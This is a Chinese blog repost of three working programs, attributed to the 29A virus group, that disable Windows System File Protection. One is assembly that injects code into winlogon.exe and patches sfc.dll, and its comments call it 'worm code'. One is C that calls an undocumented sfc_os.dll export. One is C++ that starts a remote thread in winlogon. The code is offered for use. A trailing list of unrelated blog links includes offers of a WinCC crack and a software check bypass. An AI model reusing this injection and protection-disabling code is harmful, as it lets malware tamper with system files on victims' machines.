因为不是全文转发,所以中间有些删节,修改和添加了一些内容
SFP (The System File Protection)
Is it boring ? How to get rid of it ?
Here are 3 ways,Enjoy~~
1 For win2k only
by Benny/29A and Ratter/29A
main idea:
1) Adjust higher priviledgez to our process, by legit API way.
2) Find Winlogon.exe in memory.
3) Alocate memory there, copy there a small "path" code and run it there.
4) Quit.
In the winlogon.exe will be created new thread which will:
1) Find the code written above.
2) Patch the code by ExitThread(0) call. If the page is protected,
unprotect it then.
3) Quit.
demo to compile:
tasm32 /ml /m9 /q sfp
tlink32 -Tpe -c -x -aa sfp,,,import32,sfp
pewrsec sfp.exe
[code start here]
.386p
.model flat
include win32api.inc
include useful.inc
include mz.inc
include pe.inc
@pushvar macro variable, empty ;macro for pushing
local next_instr ;variablez of any type
ifnb <empty>
%out too much arguments in macro '@pushvar'
.err
endif
call next_instr
variable
next_instr:
endm
invoke macro api ;macro for API callz
extrn api:PROC ;declare API
call api ;call it...
endm
@SEH_SetupFrame_UnProtect macro
local set_new_eh
local exception_handler
call set_new_eh
pushad
mov ebx,dword ptr [esp+cPushad+EH_ExceptionRecord]
cmp dword ptr [ebx.ER_ExceptionCode],EXCEPTION_ACCESS_VIOLATION
jne exception_handler
@pushvar <dd ?>
mov ebx,[ebx.ER_ExceptionInformation+4]
push PAGE_READWRITE
and ebx,0FFFFF000h
push 2*4096
push ebx
mov eax,12345678h
virtual_protect_api = dword ptr $-4
call eax ;unprotect 2 pagez
exception_handler:
popad
xor eax,eax
ret
set_new_eh: ;set SEH frame
xor edx,edx
push dword ptr fs:[edx]
mov fs:[edx],esp
endm
.data ;some variablez
token_priv dd 1
p_luid dq ?
dd 2
procz dd 80h dup (?)
dd ?
modz dd ?
mod_name db MAX_PATH dup (?)
p_token dd ?
tmp dd ?
.code ;worm code starts
Start: pushad
@SEH_SetupFrame <jmp end_seh> ;setup SEH frame
extrn GetModuleHandleA:PROC
mov eax,dword ptr [GetModuleHandleA+2]
mov eax,[eax]
mov [gmha],eax ;store address of API
extrn VirtualProtect:PROC
mov eax,dword ptr [VirtualProtect+2]
mov eax,[eax]
mov [virtual_protect_api],eax ;--- "" ---
extrn ExitThread:PROC
mov eax,dword ptr [ExitThread+2]
mov eax,[eax]
mov [exitthread_api],eax ;--- "" ---
invoke GetCurrentProcess
push offset p_token
push 20h
push eax
invoke OpenProcessToken ;open token of our process
dec eax
jne err_ap
push offset p_luid
@pushsz 'SeDebugPrivilege'
push eax
invoke LookupPrivilegeValueA ;find LUID for this priv.
dec eax
jne err_ap
push eax
push eax
push 10h
push offset token_priv
push eax
push [p_token]
invoke AdjustTokenPrivileges ;adjust higher priviledges
;for our process
mov esi,offset procz
push offset tmp
push 80h
push esi
invoke EnumProcesses ;enumerate all running processes
dec eax
jne end_seh
add esi,4
p_search:
lodsd ;get PID
test eax,eax
je end_seh
call analyse_process
jc p_search
end_seh:@SEH_RemoveFrame ;remove SEH frame
popad
push 0
invoke ExitProcess ;and quit
analyse_process Proc
pushad
push eax
push 0
push 43Ah
invoke OpenProcess ;PID -> handle
test eax,eax
je err_ap
mov [hProcess],eax
push eax
push eax
mov esi,offset modz
push offset tmp
push 4
push esi
push eax
invoke EnumProcessModules ;get first (main) module
pop ecx
dec eax
jne err_ap1
lodsd
mov edi,offset mod_name
push MAX_PATH
push edi
push eax
push ecx
invoke GetModuleBaseNameA ;get its name
xchg eax,ecx
jecxz err_ap1
@pushsz 'winlogon.exe'
pop esi
rep cmpsb
jne err_ap1 ;quit if its not winlogon
push PAGE_READWRITE
push MEM_RESERVE or MEM_COMMIT
push end_rroutine-start_rroutine
push 0
push 12345678h
hProcess = dword ptr $-4
invoke VirtualAllocEx ;aloc there a memory
test eax,eax
je err_ap1
xchg eax,ebx
push 0
push end_rroutine-start_rroutine
push offset start_rroutine
push ebx
push [hProcess]
invoke WriteProcessMemory ;write there our code
dec eax
jne free_mem
xor edx,edx
push edx
push edx
push edx
push ebx
push edx
push edx
push [hProcess]
invoke CreateRemoteThread ;run it
push eax
invoke CloseHandle
invoke CloseHandle
popad
clc
ret
err_ap1:invoke CloseHandle
err_ap: popad
stc
ret
free_mem:
push MEM_RELEASE
push 0
push ebx
push [hProcess]
invoke VirtualFreeEx ;free memory
jmp err_ap1
analyse_process EndP
start_rroutine Proc
pushad
@SEH_SetupFrame_UnProtect ;set SEH frame
@pushsz 'sfc.dll'
mov eax,12345678h
gmha = dword ptr $-4
call eax ;get sfc.dll address
test eax,eax
je end_rseh
xchg eax,esi
mov eax,[esi.MZ_lfanew]
add eax,esi
movzx edx,word ptr [eax.NT_FileHeader.FH_SizeOfOptionalHeader]
lea edx,[edx+eax+(3*IMAGE_SIZEOF_FILE_HEADER)]
mov ecx,[edx.SH_SizeOfRawData] ;get size of section
call @s_str
@b_str: db 6Ah,01h,6Ah,01h,0FFh,33h,0FFh,73h,04h,0FFh,15h ;code to search & patch
@s_str: pop edi
s_str: pushad
push @s_str-@b_str
pop ecx
rep cmpsb ;search for code
popad
je got_addr
inc esi
loop s_str
jmp end_rseh
got_addr:
call e_next
s_next: push 0 ;"patch" code
mov eax, 12345678h
exitthread_api = dword ptr $-4
call eax
e_next: pop edi
xchg esi,edi
add edi,15
mov ecx,e_next-s_next
rep movsb ;patch sfc.dll code by our code
end_rseh:
@SEH_RemoveFrame
popad
ret ;and quit
end_rroutine:
start_rroutine EndP
ends
End Start
2 For WinXP (maybe 2k3 ?)
//this is also a wonderful stuff from Ratter/29A
//but this time ,this one only works on xp(maybe 2k3 ?)
//it can disable SFP on file basis for one minute
//sounds coool ? enjoy ~~
#include <windows.h>
#include <assert.h>
#include <stdio.h>
typedef DWORD (* SFPEXC)(DWORD, wchar_t *, DWORD);
void wmain(int argc, wchar_t **argv)
{
HMODULE sfc_os;
SFPEXC sfp_exc;
assert(argc==2);
assert(sfc_os=LoadLibrary("sfc_os.dll"));
assert(sfp_exc=(SFPEXC) GetProcAddress(sfc_os, (char *) 5));
assert(!sfp_exc(0, argv[1], -1));
wprintf(L"File %s should now be unprotected for 1 minute", argv[1]);
}
3 Both win2k & XP (maybe 2k3?)
/*****************************************************************/
// 文件名: SfcDisable.cpp
// 作者: by Ratter/29A
// 创建时间: unknown
// 版本: unknown
/*****************************************************************/
/*****************************************************************/
//Usage: sfc_disable <winlogon_pid>
//This is a demo from Ratter/29A to show disable the SFC on winlogon.exe
//of course we can modify it to any other process.
// The details is described in 29A7.004 <<SFP revisited>>
//
/****************************************************************/
#include <windows.h>
#include <assert.h>
#include <stdio.h>
#pragma check_stack (off)
DWORD thread_func (FARPROC sfc_terminate)
{
sfc_terminate();
return 0;
}
void after_thread_func(void)
{
}
#pragma check_stack
int adjust_privileges(void)
{
HANDLE token_handle;
int ret=0;
if(OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &token_handle))
{
LUID luid;
if(LookupPrivilegeValue(NULL, "SeDebugPrivilege", &luid))
{
TOKEN_PRIVILEGES tk_priv;
tk_priv.PrivilegeCount=1;
tk_priv.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
tk_priv.Privileges[0].Luid=luid;
if(AdjustTokenPrivileges(token_handle,
FALSE,
&tk_priv,
0,
NULL,
NULL)) ret=1;
}
CloseHandle(token_handle);
}
return ret;
}
void main(int argc, char **argv)
{
HANDLE remote_thread;
if(argc!=2)
{
printf("Usage: sfc_disable <winlogon_pid>/n");
exit(0);
}
DWORD wpid=atoi(argv[1]);
assert(wpid);
HMODULE sfc=LoadLibrary("sfc.dll");
assert(sfc);
FARPROC sfc_terminate=GetProcAddress(sfc, (char *) 2);
assert(sfc_terminate);
assert(adjust_privileges());
HANDLE process=OpenProcess(PROCESS_ALL_ACCESS, FALSE, wpid);
if(!process)
{
printf("Error while opening process/n");
exit(0);
}
LPVOID remote_mem=VirtualAllocEx(process,
NULL,
(SIZE_T) ((char *)after_thread_func-(char *)thread_func),
MEM_COMMIT,
PAGE_READWRITE);
if(!remote_mem)
{
printf("Error while commiting memory in the remote process/n");
goto clean_up;
}
if(!WriteProcessMemory(process,
remote_mem,
(char *) thread_func,
(SIZE_T) ((char *)after_thread_func-(char *)thread_func),
(SIZE_T *) 0))
{
printf("Error %d while writing to the remote process/n", GetLastError());
goto clean_up;
}
remote_thread=CreateRemoteThread(process,
NULL,
0,
(LPTHREAD_START_ROUTINE) remote_mem,
// (LPTHREAD_START_ROUTINE) sfc_terminate
(LPVOID) sfc_terminate,
0,
NULL);
if(!remote_thread)
{
printf("Error while creating remote thread in the process/n");
goto clean_up;
}
if(WaitForSingleObject(remote_thread, 10*1000)==WAIT_TIMEOUT)
printf("Timeout occured while waiting for the remote thread/n");
CloseHandle(remote_thread);
clean_up:
if(remote_mem) VirtualFreeEx(process, remote_mem, 0, MEM_RELEASE);
CloseHandle(process);
}
相关推荐
基于XC7K325T的FPGA千兆UDP光口通信设计与实现
FPGA凭借并行处理和高速串行收发器,在数据采集与接口桥接场景中扮演关键角色。以太网UDP通信因低开销、高性能,成为FPGA与主机互连的常见选择。通常,实现千兆光通信需要外置PHY芯片,但利用FPGA内部的GTX高速收发器配合SFP光模块,可以直接构建完整的UDP协议栈,省去PHY,降低成本并提升链路可控性。本文围绕XC7K325T平台,讲解如何基于GTX直连SFP实现千兆光口UDP通信,覆盖协议栈设计、IP核配置、调试技巧与性能验证,为工程师提供可落地的工程参考。
android stutdio aar和jniLibs存在相同so库引起奇怪报错
android stutdio aar和jniLibs存在相同so库引起奇怪报错
binutils-esp32s2ulp-linux-amd64-2.28.51-esp-20191205.tar.gz
linux环境安装esp32-idf v4.2 ,运行install.sh时脚本自动下载的工具包。脚本下载失败可以根据报错链接下载获得它们,放到提示信息指定的目录即可
Android错误整理(保持更新)
问题1 Android Studio 三个错误,归结为一个错误 弹出窗口,错误如下 Application Installation Failed…INSTALL_FAILED_INVALID_APK… WARNING: Uninstalling will remove the applation data: Do you want to uninstall the existing ap...
使用Eggjs做服务端获取微信小程序云开发数据库的access_token
最近自己想写了一个微信小程序,恰巧里面有个云开发,恰巧里面有个数据库,那懒人的我,就直接用云开发里面的数据库了,做测试或者正式也好,对于刚开始来说,免费的配额是够用的。 后来想到在小程序云开发上面的数据怎么看才方便?刚好微信小程序有一个服务端API,那就方便很多了,那就直接敲个服务端来获取云开发上数据库的数据出来到自己的后台上面,那以后管理起来也方便很多。 看了一下服务端api之后,发现有三个重要...
AutoLisp文件(.lsp)从编写到加载运行:一份给CAD新手的避坑指南
本文为CAD新手提供了一份AutoLisp文件(.lsp)从编写到加载运行的完整指南,涵盖编写环境配置、文件加载流程、调试技巧及工程化实践建议。通过详细的步骤和常见错误解决方案,帮助用户避免常见陷阱,提升AutoLisp脚本的开发效率和应用效果。
光纤交换机巡检配置常用命令
以博科(Brocade)的光纤交换机操作来说明,IBM和HP的光纤交换机都是OEM博科的,操作命令类似。 一、巡检常用命令: uptime #显示交换机工作时间 ipaddrshow #显示交换机IP地址信息 licenseshow #显示光前交换机所添加的license信息 switchshow #检查交换机信息及端口状态 switchstatusshow #显示交换机的运行状态 firmwa...
rag综述——RAG技术发展流程、最新技术挑战与系统级优化
RAG技术发展综述:本文系统梳理了检索增强生成(RAG)技术的演进历程,从2017年开放域问答中的早期探索,到2020年正式提出RAG架构并与大模型深度融合,再到2025年向系统化、可信化和智能体化发展。当前RAG面临检索可靠性、系统效率和生成可信度三大核心挑战,解决方案包括领域自适应训练、强化语义编码、迭代检索策略等优化方向。未来RAG将向GraphRAG、SafeRAG等方向发展,从单纯性能优化转向构建可控、可审计的语言系统框架,成为高可靠大模型应用的基础设施。
[折腾] 上海移动GPON宽带换中兴F7005MV3(XGPON)改桥接
本文纯属瞎折腾完的一个记录,不建议小白玩家尝试。事情的起因还得从半年前办宽带的时候说起,我说要改桥接,那个宽带小哥直接拒绝我,不过后来这个小哥还蛮好的,他可能也发现了我心意已决,就把所有信息都发给我了,让我自己折腾,然后我就先搞了个猫棒,用猫棒改桥接。这个我回头再开一贴记录下吧,过程也有点艰辛。但是呢,猫棒有个问题,就是必须带着有SFP接口的交换机,而且vlan和端口隔离这块我还没搞明白,就导致交换机基本处于残废状态。最近发现这个中兴F7xx5系列小咸鱼上已经掉到30来块钱了,直接下单一个回来玩玩。
保姆级教程:用掘金量化API手把手复现一个年化17%的网格交易策略(附完整Python代码)
本文提供了一份详细的掘金量化API教程,手把手教你构建一个年化17%的网格交易策略。通过完整的Python代码实现,深入解析网格交易的核心逻辑、参数配置和动态调仓机制,帮助量化新手快速掌握策略开发全流程。教程包含环境配置、代码实现、回测分析和常见问题解答,是学习量化投资的实用指南。
ADS中使用Momentum进行电源完整性分析示例
这个应用可以帮助工程师用更快的时间使用ADS Momentum完成PDN分析。该应用描述了利用ADS Momentum RF模拟器进行PDN分析的方法,大大缩短了计算时间。 该分析主要应用与高速数字设计。 在此应用中使用了以下ADS特性: ADS设计流程集成(ADFI)。 电磁协同仿真。 Momentum仿真。 仿真流程如下: 在Allegro中创建ADFI文件 要将Alleg...
Winscp无法连接SFTP服务器
Winscp无法连接SFTP服务器 适用于windows下SFTP服务器 适用于winscp连接显示拒绝lianjie 适用于sftp admih@127.0.0.1 登陆显示Permission denied, please try again 解决方案: 1、通过登陆管理服务器检查用户状态(未禁用),表示正常 2、检查sftp服务器配置(windows下搭建sftp比较简单这里不在赘述,博主采用的是FreeSSHd进行搭建) 3、重启服务器 卸载FreeSSHd 都无法解决 4、!!!重点!.
杰理AC695N系列芯片红外遥控按键使用教程
本文介绍了杰理AC695N芯片红外按键功能的配置和使用方法。主要内容包括:硬件连接说明(红外接收头接线至GPIO口)、软件配置(使能红外功能并设置接收引脚)、按键映射表修改(原始键值到逻辑按键的转换)以及按键扫描参数调整(消抖、长按时间等)。重点展示了三级映射机制,指导如何根据实际遥控器键值修改映射关系,实现不同模式下(蓝牙/音乐/FM)的自定义按键功能。最后提供了调试方法,可通过串口打印查看遥控器原始键值。
NAS使用的一些常见命令 ssh sftp 上传 下载 配置qBittorrent | ALL in one
如果要保留当前的文件信息,如(修改时间、访问时间等),在加上-p标志。将sftp服务器上文件夹下载到本地当前目录下。将sftp服务器上文件下载到本地当前目录下。将本机上文件夹上传到远程服务器上当前目录下。将本机上文件上传到远程服务器上当前目录下。等,本机操作,前缀为l。
基于AI的智能开发环境—Trae在Web开发中的应用实战与性能评估【Trae项目实战】
Trae 是一款与 AI 深度集成的开发工具,提供智能问答、代码自动补全和基于 Agent 的 AI 自动编程能力,极大提升开发效率。它具备完备的 IDE 功能,如代码编写、项目管理和源代码管理等,同时还具备强大的 AI 助手,能够提供智能问答、实时代码建议、代码片段生成等服务。开发者可以通过自然语言与 AI 协作,从 0 到 1 开发项目,AI 会根据需求自动生成代码或创建文件。
hwasan / asan详细分析踩内存之一:Use after free
UAF漏洞全称为use after free ,即利用已经被free掉的堆块被再次利用,该漏洞的存在是因为程序编写者在free堆块部分没有将该堆块的fd指针改为0,进而导致该堆块可以被申请回来,3.内存块被free后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题。2.堆块free后,对应指针没有被设置为NULL,即还可以调用会该堆块,当我们申请一个比该堆块小于等于的size时。
ssh 命令连接
Linux ssh命令详解 SSH(远程连接工具)连接原理:ssh服务是一个守护进程(demon),系统后台监听客户端的连接,ssh服务端的进程名为sshd,负责实时监听客户端的请求(IP 22端口),包括公共秘钥等交换等信息。 ssh服务端由2部分组成: openssh(提供ssh服务) openssl(提供加密的程序) ssh的客户端可以用 XSHELL,Securecrt, Moba...
win10 跳过U8环境检测的IE WebControls.rar
win10 安装u8的时候 提示IE WebControls 不通过,这个工具可以欺骗u8的检查。 跳过U8环境检测的IE WebControls。提示导入失败后,重新检测通过。
亚瑟AX1800PRO(IPQ60xx):2、解锁SSH为所欲为(R2181)
路由器(OWRT&QWRT)
文档:亲测可用解决vnc灰屏,黑屏,鼠标大黑叉情况
主要解决vnc-viewer灰屏,黑屏,鼠标大黑叉等现象,详细见文档。
WINCC7.3破解文件
WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!
转录及总结 -Linux远程登录ssh命令
本文内容参考了网络:https://www.cnblogs.com/ftl1012/p/ssh.html 感谢原作者分享。 Linux系统可以通过远程进行登录,方法为通过命令行执行ssh命令。登录后,在命令行看到的信息以及能够执行的操作如同在本地命令行一样。同时还可以通过命令行的scp命令执行远程服务器内部及远程服务器至本地客户端之间的文件复制。简单操作命令如下: ssh远程登录 ssh serv...
锂电池充电器电路设计 里面有电路
锂电池充电器电路设计 里面有电路 3.7V升压到5V电路设计。
Linux基础学习笔记
文章目录Linux简介(Wiki)国内镜像下载站SSH配置看网上资源不多说利用Xshell连接KaliLinux目录介绍结构图 Linux简介(Wiki) 国内镜像下载站 国内镜像下载站 https://opsx.alibaba.com/mirror http://mirrors.ustc.edu.cn/ https://mirrors.tuna.tsinghua.edu.cn/ SSH配置看网上资源不多说 百度kali ssh即可 利用Xshell连接Kali 配置好后输入账户密码即可,好处是更方便
你还在用 Xshell?试试这款免费跨平台的 SSH 终端工具吧!太强大了
点关注公众号,回复“1024”获取2TB学习资源!概述NxShell,一款跨平台的SSH免费终端软件,Linux远程连接工具,免费SSH客户端、主机服务器远程管理客户端。支持SSH/Sftp协议,支持会话管理器,多选项卡管理主机导入和导出功能,支持ssh隧道socksv5,当前开启后默认监听在localhost:10080;支持ssh rz/sz命令文件上传下载,轻松管理远程服务器文件。特征所有源...
/usr/lib/libreadline.so.5: undefined symbol: PC 导致suse 无法启动
今天差点得到血的教训,特
phpstorm远程连接服务器并实时更新发布代码(thinkphp6.0.7)
想要phpstrom 远程连接上服务器 Step1 打开phpstorm Tools->Deployment->Configuration Step2 开始配置连接参数,我的是阿里云的服务器, 有一个 Test Sftp connection 测试连接的可以先测试下 选择yes 接下来 Step3 : Text-to-HTML conversion tool 后面继续连接到你的服务器,并next到最后即可 ...
比 Xshell 还好用的 SSH 客户端神器,MobaXterm 太爱了!
今日推荐推荐一个 Java 接口快速开发框架 干掉Random:这个类已经成为获取随机数的王者 Docker + Intellij IDEA,提升 10 倍生产力! 笑出腹肌的注释,...
IDEA配置Tomcat远程部署,解决失败方案
总结一下在配置idea部署项目到远程服务器时遇到的一些问题,希望各位同学能少走弯路 本文主要是解决出现的问题,具体配置连接可以参考其他博客 环境:ubuntu16 tomcat8 1、Error: Exception thrown by the agent : java.net.MalformedURLException: Local host name unknown: ja...
371



被折叠的 条评论
为什么被折叠?



